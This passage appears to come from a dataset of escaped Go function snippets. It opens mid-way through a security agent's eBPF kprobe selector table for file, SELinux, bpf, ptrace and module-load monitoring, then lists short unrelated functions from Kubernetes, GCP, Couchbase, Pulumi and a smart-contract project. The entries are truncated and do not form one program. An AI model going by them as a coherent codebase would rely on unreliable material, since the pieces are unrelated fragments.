EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/do_unlinkat\", EBPFFuncName: \"kprobe_do_unlinkat\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kretprobe/do_unlinkat\", EBPFFuncName: \"kretprobe_do_unlinkat\"}},\n\t\t\t\t}},\n\n\t\t\t\t// Rmdir probes\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_inode_rmdir\", EBPFFuncName: \"kprobe_security_inode_rmdir\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"rmdir\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/do_rmdir\", EBPFFuncName: \"kprobe_do_rmdir\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kretprobe/do_rmdir\", EBPFFuncName: \"kretprobe_do_rmdir\"}},\n\t\t\t\t}},\n\n\t\t\t\t// Unlink probes\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/vfs_unlink\", EBPFFuncName: \"kprobe_vfs_unlink\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"unlink\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/do_linkat\", EBPFFuncName: \"kprobe_do_linkat\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kretprobe/do_linkat\", EBPFFuncName: \"kretprobe_do_linkat\"}},\n\t\t\t\t}},\n\n\t\t\t\t// ioctl probes\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/do_vfs_ioctl\", EBPFFuncName: \"kprobe_do_vfs_ioctl\"}},\n\t\t\t\t}},\n\n\t\t\t\t// Link\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/vfs_link\", EBPFFuncName: \"kprobe_vfs_link\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/filename_create\", EBPFFuncName: \"kprobe_filename_create\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"link\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"linkat\"}, EntryAndExit),\n\t\t\t\t},\n\n\t\t\t\t// selinux\n\t\t\t\t// This needs to be best effort, as sel_write_disable is in the process to be removed\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/sel_write_disable\", EBPFFuncName: \"kprobe_sel_write_disable\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/sel_write_enforce\", EBPFFuncName: \"kprobe_sel_write_enforce\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/sel_write_bool\", EBPFFuncName: \"kprobe_sel_write_bool\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/sel_commit_bools_write\", EBPFFuncName: \"kprobe_sel_commit_bools_write\"}},\n\t\t\t\t}},\n\n\t\t\t\t// pipes\n\t\t\t\t// This is needed to skip FIM events relatives to pipes (avoiding abnormal path events)\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mntget\", EBPFFuncName: \"kprobe_mntget\"}},\n\t\t\t\t}},\n\t\t\t},\n\n\t\t\t// List of probes required to capture chmod events\n\t\t\t\"chmod\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write\", EBPFFuncName: \"kprobe_mnt_want_write\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"chmod\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"fchmod\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"fchmodat\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture chown events\n\t\t\t\"chown\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write\", EBPFFuncName: \"kprobe_mnt_want_write\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write_file\", EBPFFuncName: \"kprobe_mnt_want_write_file\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write_file_path\", EBPFFuncName: \"kprobe_mnt_want_write_file_path\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"chown\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"chown16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"fchown\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"fchown16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"fchownat\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"lchown\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"lchown16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture mkdir events\n\t\t\t\"mkdir\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/vfs_mkdir\", EBPFFuncName: \"kprobe_vfs_mkdir\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/filename_create\", EBPFFuncName: \"kprobe_filename_create\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"mkdir\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"mkdirat\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/do_mkdirat\", EBPFFuncName: \"kprobe_do_mkdirat\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kretprobe/do_mkdirat\", EBPFFuncName: \"kretprobe_do_mkdirat\"}},\n\t\t\t\t}},\n\t\t\t},\n\n\t\t\t// List of probes required to capture removexattr events\n\t\t\t\"removexattr\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/vfs_removexattr\", EBPFFuncName: \"kprobe_vfs_removexattr\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write\", EBPFFuncName: \"kprobe_mnt_want_write\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write_file\", EBPFFuncName: \"kprobe_mnt_want_write_file\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write_file_path\", EBPFFuncName: \"kprobe_mnt_want_write_file_path\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"removexattr\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"fremovexattr\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"lremovexattr\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture setxattr events\n\t\t\t\"setxattr\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/vfs_setxattr\", EBPFFuncName: \"kprobe_vfs_setxattr\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write\", EBPFFuncName: \"kprobe_mnt_want_write\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write_file\", EBPFFuncName: \"kprobe_mnt_want_write_file\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write_file_path\", EBPFFuncName: \"kprobe_mnt_want_write_file_path\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setxattr\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"fsetxattr\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"lsetxattr\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture utimes events\n\t\t\t\"utimes\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write\", EBPFFuncName: \"kprobe_mnt_want_write\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"utime\"}, EntryAndExit, true),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"utime32\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"utimes\"}, EntryAndExit, true),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"utimes\"}, EntryAndExit|ExpandTime32),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"utimensat\"}, EntryAndExit, true),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"utimensat\"}, EntryAndExit|ExpandTime32),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"futimesat\"}, EntryAndExit, true),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"futimesat\"}, EntryAndExit|ExpandTime32),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture bpf events\n\t\t\t\"bpf\": {\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_bpf_map\", EBPFFuncName: \"kprobe_security_bpf_map\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_bpf_prog\", EBPFFuncName: \"kprobe_security_bpf_prog\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/check_helper_call\", EBPFFuncName: \"kprobe_check_helper_call\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"bpf\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture ptrace events\n\t\t\t\"ptrace\": {\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"ptrace\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture mmap events\n\t\t\t\"mmap\": {\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"mmap\"}, Exit),\n\t\t\t\t},\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"tracepoint/syscalls/sys_enter_mmap\", EBPFFuncName: \"tracepoint_syscalls_sys_enter_mmap\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kretprobe/fget\", EBPFFuncName: \"kretprobe_fget\"}},\n\t\t\t\t}},\n\t\t\t},\n\n\t\t\t// List of probes required to capture mprotect events\n\t\t\t\"mprotect\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_file_mprotect\", EBPFFuncName: \"kprobe_security_file_mprotect\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"mprotect\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture kernel load_module events\n\t\t\t\"load_module\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.OneOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_kernel_read_file\", EBPFFuncName: \"kprobe_security_kernel_read_file\"}},\n\t\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_kernel_module_from_file\", EBPFFuncName: \"kprobe_security_kernel_module_from_file\"}},\n\t\t\t\t\t}},\n\t\t\t\t\t&manager.OneOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/do_init_module\", EBPFFuncName: \"kprobe_do_init_module\"}},\n\t\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/module_put\", EBPFFuncName: \"kprobe_module_put\"}},\n\t\t\t\t\t}},\n\t\t\t\t}},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"init_module\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"finit_module\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture kernel unload_module events\n\t\t\t\"unload_module\": {\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"delete_module\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture signal events\n\t\t\t\"signal\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID,\n\t\t\t\t\t\tEBPFSection: \"kretprobe/check_kill_permission\", EBPFFuncName: \"kretprobe_check_kill_permission\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kill\"}, Entry),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture splice events\n\t\t\t\"splice\": {\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"splice\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/get_pipe_info\", EBPFFuncName: \"kprobe_get_pipe_info\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kretprobe/get_pipe_info\", EBPFFuncName: \"kretprobe_get_pipe_info\"}},\n\t\t\t\t}},\n\t\t\t},\n\n\t\t\t// List of probes required to capture bind events\n\t\t\t\"bind\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_socket_bind\", EBPFFuncName: \"kprobe_security_socket_bind\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"bind\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t},\n\n\t\t\t// List of probes required to capture DNS events\n\t\t\t\"dns\": {\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_socket_bind\", EBPFFuncName: \"kprobe_security_socket_bind\"}},\n\t\t\t\t}},\n\t\t\t},\n\t\t}\n\t}\n\treturn selectorsPerEventTypeStore\n}", "func labelsForSiddhiProcess(appName string, operatorEnvs map[string]string) map[string]string {\n\treturn map[string]string{\n\t\t\"siddhi.io/name\": \"SiddhiProcess\",\n\t\t\"siddhi.io/instance\": operatorEnvs[\"OPERATOR_NAME\"],\n\t\t\"siddhi.io/version\": operatorEnvs[\"OPERATOR_VERSION\"],\n\t\t\"siddhi.io/part-of\": appName,\n\t}\n}", "func EventProcessor(ctx context.Context, m PubSubMessage) error {\n\n\t// setup\n\tonce.Do(func() {\n\n\t\t// create metadata client\n\t\tprojectID = os.Getenv(\"GCP_PROJECT\") // for local execution\n\t\tif projectID == \"\" {\n\t\t\tmc := meta.NewClient(&http.Client{Transport: userAgentTransport{\n\t\t\t\tuserAgent: \"custommetrics\",\n\t\t\t\tbase: http.DefaultTransport,\n\t\t\t}})\n\t\t\tp, err := mc.ProjectID()\n\t\t\tif err != nil {\n\t\t\t\tlogger.Fatalf(\"Error creating metadata client: %v\", err)\n\t\t\t}\n\t\t\tprojectID = p\n\t\t}\n\n\t\t// create metric client\n\t\tmo, err := monitoring.NewMetricClient(ctx)\n\t\tif err != nil {\n\t\t\tlogger.Fatalf(\"Error creating monitor client: %v\", err)\n\t\t}\n\t\tmonitorClient = mo\n\t})\n\n\tjson := string(m.Data)\n\tlogger.Printf(\"JSON: %s\", json)\n\n\tjq := gojsonq.New().JSONString(json)\n\n\tmetricSrcID := jq.Find(metricSrcIDPath).(string)\n\tlogger.Printf(\"%s: %s\", metricSrcIDPathToken, metricSrcID)\n\n\tjq.Reset() // reset before each read\n\tmetricValue := jq.Find(metricValuePath)\n\tlogger.Printf(\"%s: %v\", metricValuePathToken, metricValue)\n\n\tts := time.Now()\n\tif metricTimePath != metricTsPathTokenNotSet {\n\t\tjq.Reset()\n\t\tmetricTime := jq.Find(metricTimePath).(string)\n\t\tlogger.Printf(\"%s: %v\", metricTsPathToken, metricTime)\n\t\tmts, err := time.Parse(time.RFC3339, metricTime)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Error parsing event time from %s: %v\", metricTime, err)\n\t\t}\n\t\tts = mts\n\t}\n\n\treturn publishMetric(ctx, metricSrcID, ts, metricValue)\n\n}", "func (c *Consumer) EventsProcessedPSec() *cm.EventProcessingStats {\n\tpStats := &cm.EventProcessingStats{\n\t\tDcpEventsProcessedPSec: c.dcpOpsProcessedPSec,\n\t\tTimerEventsProcessedPSec: c.timerMessagesProcessedPSec,\n\t}\n\n\treturn pStats\n}", "func (p *PodStatusResolver) Events() []*K8sEventResolver {\n\treturn p.events\n}", "func (k *Kubernetes) Events() <-chan facts.ContainerEvent {\n\treturn k.Runtime.Events()\n}", "func (c *Consumer) VbDcpEventsRemainingToProcess() map[int]int64 {\n\tc.statsRWMutex.RLock()\n\tdefer c.statsRWMutex.RUnlock()\n\tvbDcpEventsRemaining := make(map[int]int64)\n\n\tfor vb, count := range c.vbDcpEventsRemaining {\n\t\tvbDcpEventsRemaining[vb] = count\n\t}\n\n\treturn vbDcpEventsRemaining\n}", "func (o IntegrationSlackOutput) PipelineEvents() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v *IntegrationSlack) pulumi.BoolOutput { return v.PipelineEvents }).(pulumi.BoolOutput)\n}", "func AllEvents() (map[[32]byte]abi.Event, error) {\r\n\tall := []string{\r\n\t\tcontracts1.ZapABI,\r\n\t\tcontracts.ZapDisputeABI,\r\n\t\tcontracts.ZapGettersABI,\r\n\t\tcontracts.ZapGettersLibraryABI,\r\n\t\tcontracts1.ZapLibraryABI,\r\n\t\tcontracts.ZapMasterABI,\r\n\t\tcontracts.ZapStakeABI,\r\n\t\tcontracts.ZapStorageABI,\r\n\t\tcontracts.ZapTransferABI,\r\n\t}\r\n\r\n\tparsed := make([]interface{}, 0)\r\n\tfor _, abi := range all {\r\n\t\tvar f interface{}\r\n\t\tif err := json.Unmarshal([]byte(abi), &f); err != nil {\r\n\t\t\treturn nil, err\r\n\t\t}\r\n\t\tasList := f.([]interface{})\r\n\t\tfor _, parsedABI := range asList {\r\n\t\t\tparsed = append(parsed, parsedABI)\r\n\t\t}\r\n\t}\r\n\tj, err := json.Marshal(parsed)\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\tabiStruct, err := abi.JSON(strings.NewReader(string(j)))\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\teventMap := 